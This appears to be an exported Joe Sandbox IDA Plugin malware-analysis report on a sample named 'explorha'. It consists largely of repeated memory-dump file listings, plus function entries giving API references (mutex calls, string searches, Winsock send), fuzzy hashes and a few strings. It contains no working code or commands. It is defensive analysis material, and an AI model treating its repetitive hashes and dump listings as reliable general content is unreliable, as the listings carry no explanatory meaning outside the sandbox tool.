Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 3ec43a65457977cdefc604948bd7cebe09cad8535d32d91fa77c74aae0f139a7
Instruction ID: 50bdad8e34c835bb0765ae71663e6f2ed5228df12f95239f4e8e8a10f91fa281
Opcode Fuzzy Hash: 3ec43a65457977cdefc604948bd7cebe09cad8535d32d91fa77c74aae0f139a7
Instruction Fuzzy Hash: 87012677A243252636552069BC066B717A99BC1BB4F2A003EFC44F72C3FFACDC425196

Uniqueness

Uniqueness Score: -1.00%

Function 00702DC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00702E5F
__Mtx_unlock.LIBCPMT ref: 00702ECC
__Cnd_broadcast.LIBCPMT ref: 00702EE3
__Mtx_unlock.LIBCPMT ref: 00702FF5
__Mtx_unlock.LIBCPMT ref: 0070309B

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: a3653bc443d9a3f32a5d3f38b2147e2e8bfad6520b37c434b966908c7d422277
Instruction ID: 7d773e6781a40ed6cfc29baadf67f964ef928868e095c97b246453030e31e832
Opcode Fuzzy Hash: a3653bc443d9a3f32a5d3f38b2147e2e8bfad6520b37c434b966908c7d422277
Instruction Fuzzy Hash: EFA1E2B1A01216EFDB21DB68C94879AB7F8FF15354F004229E815D72C2EB38EA45CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0070D6EE Relevance: 7.7, APIs: 5, Instructions: 235COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0070D75D
__Mtx_unlock.LIBCPMT ref: 0070D86D

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 55b3bb3b402a5a0fce369dcbd25e392bb08c26e2cde4161125d044a571dc128e
Instruction ID: d4d0e394292500eff0c75ef4c806bfa7eb144928a819cd833d6d03898969de9b
Opcode Fuzzy Hash: 55b3bb3b402a5a0fce369dcbd25e392bb08c26e2cde4161125d044a571dc128e
Instruction Fuzzy Hash: 0481C3B1A00315DBDB309F68CC49FAAB7E4EF08314F118369E919A72D1DB79AD44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0070DAEB Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0070DB4C

Strings

Sv, xrefs: 0070DBFF
invalid stoi argument, xrefs: 0070DD04
stoi argument out of range, xrefs: 0070DCFA

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: invalid stoi argument$stoi argument out of range$Sv
API String ID: 1418687624-3838638389
Opcode ID: 07aa5d54842227f5a55edc4e91b2eae8cff60c400db8f8342432a23df00175fc
Instruction ID: 0584fe80cce110151903f1fed53c43b1be9808775ee1e71ae03a05098a947faa
Opcode Fuzzy Hash: 07aa5d54842227f5a55edc4e91b2eae8cff60c400db8f8342432a23df00175fc
Instruction Fuzzy Hash: 4B1182B2A00305DBCF30DFA8D846AA9F3F1EF54311F168565E906676A1EB39AC40CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0073E110 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0073E197

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction ID: dcea59b335d4bbad62b031148a89944bf090b059d51f7f88ee544913292c86cc
Opcode Fuzzy Hash: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction Fuzzy Hash: 89B12732900695DFEB15CF68C881BAEBBE5EF55300F24816AE855DB383D63C9D01CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0070D2DC Relevance: 6.2, APIs: 4, Instructions: 168networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000004,00000000), ref: 0070D43E
send.WS2_32(?,?,00000008,00000000), ref: 0070D47A
send.WS2_32(?,?,?,00000000), ref: 0070D4BC

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
